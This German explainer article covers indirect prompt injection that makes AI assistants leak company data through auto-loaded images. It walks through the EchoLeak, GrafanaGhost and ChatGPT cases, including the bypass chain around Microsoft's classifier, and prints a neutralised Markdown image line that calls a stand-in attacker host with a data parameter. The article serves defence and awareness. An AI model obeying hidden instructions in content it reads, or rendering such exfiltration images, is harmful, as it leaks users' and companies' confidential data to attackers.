Cyberpediavon Brain

Datenabfluss durch ein Bild in einem KI-Assistenten

Ein versteckter Text in einer E-Mail kann einen KI-Assistenten ein Bild anzeigen lassen, das Ihre Daten trägt. Fälle EchoLeak, GrafanaGhost, Abwehr.

Auf dieser Seite
  1. 1In 30 Sekunden
  2. 2Worum es geht
  3. 3Direkte Fragen
  4. 4In der Haut des Angreifers
  5. 5Was Sie auf dem Bildschirm sehen
  6. 6Unter der Haube
  7. 7Fallanalysen
  8. 8Quellen
  9. 9Diesen Artikel zitieren

In 30 Sekunden

Wo es vorkommt
Wenn ein KI-Assistent einen Inhalt liest, den er nicht selbst geschrieben hat, etwa eine E-Mail, eine Webseite oder ein Dokument[3].
Was der Angreifer will
Daten des Unternehmens auf einen Server schleusen, den er kontrolliert[2].
Der Reflex
Geben Sie dem Assistenten nur die Daten, die für die Aufgabe nötig sind, denn eine versehentlich übergebene Information kann später in seinen Antworten wieder auftauchen[4].
Artikelübersicht

Worum es geht

Im Fall von EchoLeak hat ein KI-Assistent Daten des Unternehmens abfließen lassen, ohne dass jemand auf irgendetwas geklickt hat[1]. Ein versteckter Text in einer E-Mail oder in einem Dokument gibt dem Assistenten Anweisungen[3]. Dieser zeigt daraufhin ein Bild an, dessen Adresse die Daten enthält[3], und das Bild wird automatisch abgerufen[1].

Zwei Fälle beschreiben diesen Mechanismus. Zu EchoLeak in Microsoft 365 Copilot beschreibt ein Artikel von Forschern eine Exfiltration von Daten aus der Ferne und ohne Authentifizierung durch eine einzige präparierte E-Mail, die automatisch abgerufene Bilder ausnutzt[1]. Bei GrafanaGhost haben Forscher eine Schwachstelle offengelegt, durch die der Assistent von Grafana ein externes Bild anzeigen konnte, das Daten des Unternehmens in einem Adressparameter an den Angreifer sendete[2].

Direkte Fragen

Muss man klicken, damit die Daten abfließen?

Nicht bei EchoLeak: Der beschriebene Angriff funktioniert ohne Zutun des Benutzers[1]. Bei GrafanaGhost hat Grafana erklärt, die Ausnutzung hätte eine erhebliche Interaktion des Benutzers erfordert[2].

Was ist eine indirekte Prompt-Injection?

Laut dem britischen NCSC ist das der Fall, in dem ein Angreifer ohne direkten Zugang zum KI-System etwas schreibt, das am Ende vom System verarbeitet und für eine Anweisung gehalten wird[5]. OWASP zählt zu dieser Kategorie den Inhalt von E-Mails und Anhängen, die von KI-Assistenten verarbeitet werden, sowie versteckten Text in Webseiten, Dokumenten oder E-Mails[3].

Warum gehorcht der Assistent einem Text, den man nicht sieht?

Laut dem britischen NCSC setzen die heutigen großen Sprachmodelle innerhalb eines Prompts keine Sicherheitsgrenze zwischen Anweisungen und Daten durch[5]. OWASP ergänzt, dass Verarbeitungsketten für Dokumente dem Modell häufig den extrahierten Text übergeben, ohne Rücksicht auf die Darstellung, sodass ein für den Leser unsichtbarer Text das Modell trotzdem erreicht[3].

Welche Daten können abfließen?

OWASP nennt personenbezogene Daten, Finanzinformationen, Gesundheitsakten, vertrauliche Daten des Unternehmens, Sicherheitszugangsdaten sowie Rechtsdokumente[4].

Genügt ein Filter für verdächtige Sätze?

Nein. Laut OWASP ist das Filtern von Eingaben keine Sicherheitsgrenze: Ein Angreifer kann eine Anweisung auf viele Arten umformulieren, die eine Sperrliste nicht erkennt[3]. Auch das britische NCSC warnt davor, bekannte schädliche Inhalte zu blockieren, denn es gibt unendlich viele Umformulierungen eines Angriffs[5].

Kann dieses Risiko verschwinden?

Das britische NCSC hält es für möglich, dass die Prompt-Injection nie vollständig gemindert wird. Sicherheitsteams müssten wissen, dass sie ein Restrisiko bleibt, das durch Konzeption, Aufbau und Betrieb gesteuert wird[5].

Was muss das Unternehmen begrenzen?

OWASP nennt drei Ursachen für übermäßige Befugnisse des Assistenten: zu viele Funktionen, zu viele Berechtigungen, zu viel Autonomie[6]. Jedes Werkzeug sollte nur die Daten und Vorgänge erhalten, die es braucht[3].

In der Haut des Angreifers

Der Angreifer hat keinen Zugang zum Assistenten. Er schreibt einen Inhalt, den dieser am Ende lesen wird: eine E-Mail, ein Dokument, eine Seite[5]. Darin versteckt er Anweisungen, zum Beispiel mit Text in der Farbe des Hintergrunds, winzigem Text, überdecktem Text oder Text außerhalb der Seite[3].

Sein Ziel ist es, Daten des Unternehmens auf einen Server zu bekommen, den er kontrolliert[2]. OWASP beschreibt ein typisches Szenario: Ein persönlicher Assistent hat Zugriff auf den Posteingang, um eingehende E-Mails zusammenzufassen. Eine präparierte E-Mail bringt ihn dazu, den Posteingang nach sensiblen Informationen zu durchsuchen und sie an die Adresse des Angreifers weiterzuleiten[6]. In diesem Szenario enthält die vom Entwickler gewählte Erweiterung auch Funktionen zum Senden von Nachrichten, obwohl zum Zusammenfassen das Lesen genügt[6].

Zu EchoLeak beschreiben die Forscher eine Kette von Umgehungen: den Klassifikator XPIA (Cross Prompt Injection Attempt) von Microsoft, die Linkmaskierung (umgangen mit der Markdown-Syntax namens reference-style), automatisch geladene Bilder und einen Microsoft-Teams-Proxy, der von der Inhaltssicherheitsrichtlinie zugelassen war[1].

Was Sie auf dem Bildschirm sehen

Der präparierte Text ist nicht zu sehen: Das ist sein Prinzip[3]. OWASP weist darauf hin, dass in seinen Risikokarten die Benutzer einer vertrauenswürdigen KI für Observabilität den Datenabfluss unwissentlich auslösen konnten[2].

Der Datenabfluss läuft über ein Bild. Das Beispiel von OWASP ist ein verborgenes Bild-Tag, dessen Adresse die zu stehlende Information enthält[3]. Hier eine neutralisierte Illustration dieses Prinzips, die nicht funktioniert:

Auszug
Neutralisierte, nicht funktionsfähige Illustration.
[Versteckter Text in einer E-Mail: Anweisung, die den Assistenten auffordert, ein Bild anzuzeigen]
![Bild](hxxps://angreifer-server[.]invalid/bild?daten=[Daten des Unternehmens])

Im Fall GrafanaGhost konnte der schädliche Kontext den Assistenten dazu bringen, seine Leitplanken zu ignorieren und ein externes Bild anzuzeigen, das die Daten als Adressparameter an den Angreifer sendete[2].

Unter der HaubeIT-Teams

Der Mechanismus besteht aus drei Elementen.

  • Das Bild wird ohne Zutun des Benutzers abgerufen: EchoLeak nutzte automatisch geladene Bilder aus[1].
  • Die Daten reisen in der Adresse des Bildes, als Adressparameter[2].
  • Die Darstellung der Antwort des Assistenten wird zum Ausgabekanal: OWASP ordnet GrafanaGhost insbesondere der unsachgemäßen Behandlung der Modellausgaben (LLM05:2025) zu[2].

Die vom Unternehmen erwarteten Abwehrmaßnahmen betreffen diese drei Punkte.

  • Filtern, was der Assistent anzeigt. Zu GrafanaGhost empfiehlt OWASP, externen Kontext zu bereinigen, die ausgehende Darstellung einzuschränken und die Prüfung von Adressen zu verstärken[2]. Die Checkliste von OWASP verlangt außerdem eine Bereinigung von HTML und Markdown bei der Anzeige[3]. Ein Leitplanken-Modell kann die Antwort prüfen, bevor sie dargestellt wird, auch um Markup für den Datenabfluss zu erkennen, ist aber selbst ein Modell und kann einer Prompt-Injection unterliegen[3].
  • Die Rechte des Assistenten begrenzen. Die Autoren der EchoLeak-Studie ziehen als Lehre das Prinzip der geringsten Rechte, die gestaffelte Verteidigung und fortlaufende Tests aus Angreifersicht[1]. OWASP gibt Beispiele: dem Agenten keine Erweiterung anbieten, die den Inhalt einer Webadresse abruft, wenn das System sie nicht braucht, und eine Nachrichtenerweiterung auf das Lesen beschränken[6]. OWASP empfiehlt die Genehmigung durch einen Menschen für Aktionen mit großer Wirkung[6].
  • Nach Herkunft trennen. Das britische NCSC nennt eine einfache Regel: Verarbeitet ein Modell Informationen einer Partei, sinken seine Privilegien auf die dieser Partei. Ein Assistent, der E-Mails externer Personen verarbeitet, darf daher keinen Zugriff auf privilegierte Werkzeuge haben[5].

Das britische NCSC hält fest, dass kein Produkt genügt, um die Prompt-Injection zu beseitigen, und dass man bestenfalls hoffen kann, ihre Wahrscheinlichkeit oder ihre Auswirkung zu verringern[5]. Für das britische NCSC sollten die Schutzmaßnahmen in der Konzeption eher auf deterministische Leitplanken außerhalb des Modells zielen, die die Aktionen des Systems begrenzen[5]. OWASP empfiehlt, diese Grenzen mit Scheindaten und instrumentierten Ersatzwerkzeugen zu testen[3].

Für Beschäftigte gilt laut OWASP: Die Benutzer sollten das Risiko verstehen, unbeabsichtigt sensible Daten zu übergeben, die dann in der Ausgabe des Modells erscheinen können[4]. OWASP empfiehlt, Hinweise bereitzustellen, um die Eingabe sensibler Informationen zu vermeiden[4], und nur Zugriff auf die Daten zu gewähren, die der betreffende Benutzer oder Prozess braucht[4].

FallanalysenReale Fälle

EchoLeak in Microsoft 365 Copilot, Studie vom September 2025

EchoLeak trägt die Kennung CVE-2025-32711. Die Forscher beschreiben es als Prompt-Injection ohne Klick in Microsoft 365 Copilot, die eine Exfiltration von Daten aus der Ferne und ohne Authentifizierung durch eine einzige präparierte E-Mail ermöglichte[1]. Der Artikel wurde am 6. September 2025 auf arXiv hinterlegt und erschien in der AAAI Fall Symposium Series 2025[1].

Die beschriebene Kette kombiniert die Umgehung des Klassifikators XPIA, die Markdown-Syntax reference-style, automatisch geladene Bilder und einen Teams-Proxy, der von der Inhaltssicherheitsrichtlinie zugelassen war[1]. Als Maßnahmen schlagen die Autoren die Aufteilung der Prompts, ein verstärktes Filtern der Eingaben und Ausgaben, eine herkunftsbasierte Zugriffskontrolle und strenge Inhaltssicherheitsrichtlinien vor[1].

GrafanaGhost, April 2026

OWASP datiert die Offenlegung auf den 7. April 2026 und die Bestätigung eines Patches auf den 8. April[2]. Noma Security fand eine Schwäche in den KI-Komponenten von Grafana, durch die sich das System auf externe Ressourcen mit versteckten Anweisungen lenken ließ[2]. Der Assistent konnte dann ein externes Bild anzeigen, das Daten des Unternehmens als Adressparameter an den Angreifer sendete[2].

Grafana gab anschließend an, ein Problem bei der Darstellung von Markdown-Bildern sei schnell behoben worden und die Ausnutzung hätte eine erhebliche Interaktion des Benutzers erfordert[2]. OWASP präzisiert, dass keine öffentliche CVE vergeben wurde und ein teilweiser Patch auf die Darstellungskomponente angewendet wurde[2]. Es handelt sich um eine Offenlegung aus der Forschung[2].

ChatGPT und personenbezogene Daten, Mai 2024

In einem am 31. Mai 2024 hinterlegten Artikel berichtet der Autor, ChatGPT 4 und 4o seien anfällig für eine Prompt-Injection gewesen, die es einem Angreifer erlaubte, personenbezogene Daten der Benutzer zu exfiltrieren[7]. Nach seinen Angaben ließ sich der Angriff ohne Werkzeug eines Dritten anwenden, und alle Benutzer waren damals betroffen[7]. Die Speicherfunktion von ChatGPT verschlimmerte die Schwachstelle, denn sie erlaubte es dem Angreifer, den Benutzer überwachen zu lassen, um die gewünschten Daten zu erhalten[7].

Quellen

  1. arXiv, „EchoLeak: The First Real-World Zero-Click Prompt Injection Exploit in a Production LLM System“, 6. September 2025. https://arxiv.org/abs/2509.10540 (abgerufen am 14. November 2026)
  2. OWASP, „OWASP GenAI Exploit Round-up Report Q1 2026“, 14. April 2026. https://genai.owasp.org/2026/04/14/owasp-genai-exploit-round-up-report-q1-2026/ (abgerufen am 14. November 2026)
  3. OWASP, „LLM Prompt Injection Prevention Cheat Sheet“. https://cheatsheetseries.owasp.org/cheatsheets/LLM_Prompt_Injection_Prevention_Cheat_Sheet.html (abgerufen am 14. November 2026)
  4. OWASP, „LLM02:2025 Sensitive Information Disclosure“, 10. April 2024. https://genai.owasp.org/llmrisk/llm022025-sensitive-information-disclosure/ (abgerufen am 14. November 2026)
  5. NCSC (Royaume-Uni), „Prompt injection is not SQL injection (it may be worse)“, 8. Dezember 2025. https://www.ncsc.gov.uk/blog-post/prompt-injection-is-not-sql-injection (abgerufen am 14. November 2026)
  6. OWASP, „LLM06:2025 Excessive Agency“, 10. April 2024. https://genai.owasp.org/llmrisk/llm062025-excessive-agency/ (abgerufen am 14. November 2026)
  7. arXiv, „Exfiltration of personal information from ChatGPT via prompt injection“, 31. Mai 2024. https://arxiv.org/abs/2406.00199 (abgerufen am 14. November 2026)